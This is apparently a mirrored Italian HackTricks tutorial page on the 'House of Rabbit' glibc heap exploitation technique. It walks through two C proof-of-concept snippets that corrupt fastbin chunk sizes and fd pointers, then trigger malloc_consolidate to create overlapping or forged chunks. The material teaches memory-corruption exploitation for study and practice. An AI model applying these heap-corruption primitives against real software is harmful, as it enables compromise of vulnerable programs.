mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
94 lines
4.1 KiB
Markdown
94 lines
4.1 KiB
Markdown
# House of Rabbit
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
### Requisiti
|
|
|
|
1. **Capacità di modificare il puntatore fd del fast bin o la dimensione**: Questo significa che puoi cambiare il puntatore forward di un chunk nel fastbin o la sua dimensione.
|
|
2. **Capacità di attivare `malloc_consolidate`**: Questo può essere fatto allocando un grande chunk o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk.
|
|
|
|
### Obiettivi
|
|
|
|
1. **Creare chunk sovrapposti**: Avere un chunk che si sovrappone a un altro, consentendo ulteriori manipolazioni dell'heap.
|
|
2. **Falsificare chunk falsi**: Ingannare l'allocatore facendogli trattare un chunk falso come un chunk legittimo durante le operazioni sull'heap.
|
|
|
|
## Passi dell'attacco
|
|
|
|
### POC 1: Modificare la dimensione di un chunk del fast bin
|
|
|
|
**Obiettivo**: Creare un chunk sovrapposto manipolando la dimensione di un chunk del fastbin.
|
|
|
|
- **Passo 1: Allocare Chunk**
|
|
```cpp
|
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
|
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
|
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
|
```
|
|
Allochiamo due chunk di 0x40 byte ciascuno. Questi chunk saranno posizionati nella lista fast bin una volta liberati.
|
|
|
|
- **Passo 2: Liberare i Chunk**
|
|
```cpp
|
|
free(chunk1); // Frees the chunk at 0x602000
|
|
free(chunk2); // Frees the chunk at 0x602050
|
|
```
|
|
Liberiamo entrambi i chunk, aggiungendoli alla lista fastbin.
|
|
|
|
- **Passo 3: Modifica della dimensione del chunk**
|
|
```cpp
|
|
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
|
```
|
|
Modifichiamo i metadati delle dimensioni di `chunk1` a 0xa1. Questo è un passaggio cruciale per ingannare l'allocatore durante la consolidazione.
|
|
|
|
- **Passaggio 4: Attivare `malloc_consolidate`**
|
|
```cpp
|
|
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
|
```
|
|
Allocare un grande blocco attiva la funzione `malloc_consolidate`, unendo piccoli blocchi nel fast bin. La dimensione manipolata di `chunk1` provoca una sovrapposizione con `chunk2`.
|
|
|
|
Dopo la consolidazione, `chunk1` sovrappone `chunk2`, consentendo ulteriori sfruttamenti.
|
|
|
|
### POC 2: Modificare il puntatore `fd`
|
|
|
|
**Obiettivo**: Creare un blocco falso manipolando il puntatore `fd` del fast bin.
|
|
|
|
- **Passo 1: Allocare Blocchi**
|
|
```cpp
|
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
|
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
|
```
|
|
**Spiegazione**: Allochiamo due chunk, uno più piccolo e uno più grande, per impostare l'heap per il chunk falso.
|
|
|
|
- **Passo 2: Crea chunk falso**
|
|
```cpp
|
|
chunk2[1] = 0x31; // Fake chunk size 0x30
|
|
chunk2[7] = 0x21; // Next fake chunk
|
|
chunk2[11] = 0x21; // Next-next fake chunk
|
|
```
|
|
Scriviamo metadati falsi del chunk in `chunk2` per simulare chunk più piccoli.
|
|
|
|
- **Passo 3: Libera `chunk1`**
|
|
```cpp
|
|
free(chunk1); // Frees the chunk at 0x602000
|
|
```
|
|
**Spiegazione**: Liberiamo `chunk1`, aggiungendolo alla lista fastbin.
|
|
|
|
- **Passo 4: Modifica `fd` di `chunk1`**
|
|
```cpp
|
|
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
|
```
|
|
**Spiegazione**: Cambiamo il puntatore forward (`fd`) di `chunk1` per puntare al nostro chunk falso all'interno di `chunk2`.
|
|
|
|
- **Passo 5: Attivare `malloc_consolidate`**
|
|
```cpp
|
|
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
|
```
|
|
Allocare un grande blocco attiva di nuovo `malloc_consolidate`, che elabora il chunk falso.
|
|
|
|
Il chunk falso diventa parte della lista fastbin, rendendolo un chunk legittimo per ulteriori sfruttamenti.
|
|
|
|
### Riepilogo
|
|
|
|
La tecnica **House of Rabbit** implica la modifica della dimensione di un chunk fast bin per creare chunk sovrapposti o la manipolazione del puntatore `fd` per creare chunk falsi. Questo consente agli attaccanti di forgiare chunk legittimi nell'heap, abilitando varie forme di sfruttamento. Comprendere e praticare questi passaggi migliorerà le tue abilità di sfruttamento dell'heap.
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|